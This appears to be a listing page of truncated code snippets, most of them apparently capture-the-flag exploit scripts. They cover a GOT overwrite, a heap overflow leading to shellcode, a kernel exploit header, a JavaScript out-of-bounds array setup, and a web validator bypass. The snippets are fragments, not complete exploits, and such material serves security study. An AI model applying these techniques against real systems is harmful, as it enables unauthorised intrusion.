wbowling

#include <stdio.h>
#include <stdlib.h>

int main() {
  // char *pass = "THE SECRET HAS BEEN REMOVED LOL";
  char *pass = "\x9a\x60\x76\x14\x8b\x36\x5a\x10\x2b\x91\xc4\x6c\xab\x27\x92\x99\xf8\x6a\xec\x5d\x32\x20\x3d\x61\x8f\xc7\xfb\xdd\x02\x72\xbf";
  char key[31];
  char out[31];

  // 2017-07-16 to 2017-07-20

wbowling

#!/usr/bin/env python
import string

def srand(s):
  global seed
  seed = s

# microsoft c runtime implementation
def rand():
  global seed

wbowling

#!/usr/bin/env python2
"""
Overwrite the GOT entry for __stack_chk_fail with 0x40061a so we jump there instead.

The address can be passed in via argv, we cant use nulls but we can use blank strings instead.

As the argv location is semi random, it takes around 500 iterations which is pretty reasonable for 64bit

"""

wbowling

#!/bin/bash
ulimit -c 0
export LIBC_FATAL_STDERR_=1

python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin

output=""
COUNTER=0
while [[ ! $output =~ "modified" ]]; do
	MOD=$(( $COUNTER  % 1000 ))

wbowling

#!/usr/bin/env python2
# pylint: skip-file
"""
When performing a chunked transfer, realloc doesnt take into account the size of the headers allowing an overflow.
As the initial heap (0x100) is located inline we can overwrite the current heap location.

* overwrite __malloc_heap to point to our fake heap
* our fake heap size is huge so that memory os returned near the GOT
* overwrite memchr got with shellcode address
* win

wbowling

FROM ubuntu
RUN apt-get update -y && apt-get install -y gcc

RUN (                                                                           \
echo  '#define _GNU_SOURCE';                                                    \
echo  '#include <fcntl.h>';                                                     \
echo  '#include <stdio.h>';                                                     \
echo  '#include <unistd.h>';                                                    \
                                                                                \
echo  'char *getenv(const char *__name) {';                                     \

wbowling

test

wbowling

// 4.4.0-116-generic #140-Ubuntu SMP
#define _GNU_SOURCE

#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>

wbowling

let oob, oob_rw, base;

function setup() {
  oob = new Uint8Array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]);
  oob_rw = new BigUint64Array([
    0x1111111122222222n,
    0x1111111122222222n,
    0x1111111122222222n,
  ]);

wbowling

#!/usr/bin/env python

from pwn import *
import requests
import string

"""
 * can add arbitrary html and pass the validator by adding a tag comment inside the <noscript> and close it
 * axios uses `input` directly and we can make it an object allowing full param control
 * cheerio needs a string, but axios tries to return the response as json. If you add `爀` and set the `responseEncoding` to `ascii` the json parsing fails and it returns text